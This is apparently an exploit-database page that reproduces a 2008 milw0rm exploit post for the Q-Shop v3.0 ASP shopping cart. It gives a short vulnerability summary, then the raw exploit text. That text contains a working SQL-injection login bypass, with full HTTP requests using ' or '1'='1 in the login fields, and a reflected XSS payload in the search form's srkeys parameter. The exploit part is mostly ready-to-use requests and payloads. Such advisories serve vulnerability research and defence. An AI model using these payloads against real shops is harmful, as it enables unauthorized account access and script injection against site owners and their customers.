Q-Shop v 3.0 Multiple Exploits (XSS + Remote Login Bypass)

vendor:

Q-Shop

by:

Blackness Lynx

8.8

CVSS

HIGH

Remote Login Bypass

287

CWE

Product Name: Q-Shop

Affected Version From: 3

Affected Version To: 3

Patch Exists: No

Related CWE: N/A

CPE: a:quadcomm:q-shop

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Q-Shop v 3.0 Multiple Exploits (XSS + Remote Login Bypass)

A remote login bypass vulnerability exists in Q-Shop v 3.0 (Maybe prior versions also). An attacker can send a specially crafted HTTP request to the vulnerable application in order to bypass authentication and gain access to the application.

Mitigation:

Ensure that authentication credentials are properly validated and that all user input is properly sanitized.

Source

Exploit-DB raw data:

000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : Q-Shop v 3.0 (Maybe prior versions also)

[+] Exploit Type         : Multiple Exploits (XSS + Remote Login Bypass)

[+] Script's Homepage    : http://quadcomm.com/qshop/

[+] Script's Description : ('Q-Shop is a fully featured shopping system including: full catalog browsing system, Shopping cart, User purchase history generation, web based catalog administration, web based order administration, web based user management and many more features. Supports MS Access and MS SQL Server. Full ASP source code included.')

[+] Script's Price       : $249 USD


--//--> Exploit : 

1) Remote login bypass :

http://[website]/[script]/users.asp 

PoC : 

Host: www.[website].cc
User-Agent: Blackness Lynx/1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.[website].cc/[script]/users.asp
Cookie: ASPSESSIONIDACADTDQS=KPALCBJDEKLJOPFDAGIFIFBJ
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

UserID=%27+or+%271%27%3D%271&Pwd=%27+or+%271%27%3D%271&Login=[ok]

HTTP/1.x 200 OK
Cache-Control: private
Date: Sat, 15 Nov 2008 19:58:02 GMT
Content-Length: 31227
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET

In simple words :


userID = ' or '1'='1

Pwd    = ' or '1'='1


2) Remote XSS exploit : 



PoC : 

http://[website]/[script]/search.asp

POST /q-shop/search.asp HTTP/1.1
Host: [website]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.4) Gecko/2008102920 Firefox 3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://[website]/[script]/search.asp
Cookie: ASPSESSIONIDACADTDQS=KPALCBJDEKLJOPFDAGIFIFBJ
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
srkeys=%3Cscript%3Ealert%28%27Bl%40ckbe%40rD+is+not+yet+%21%27%29%3C%2Fscript%3E&Criteria=OR&CATS=ALL&x=8&y=18&MinPrice=&MaxPrice=

HTTP/1.x 200 OK
Cache-Control: private
Date: Sat, 15 Nov 2008 20:08:01 GMT
Content-Length: 66513
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET


In simple words :

http://[website]/[script]/search.asp 

POST data : srkeys=<script>alert('Bl@ckbe@rD is not dead yet')</script>


[Peace xD ]

# milw0rm.com [2008-11-17]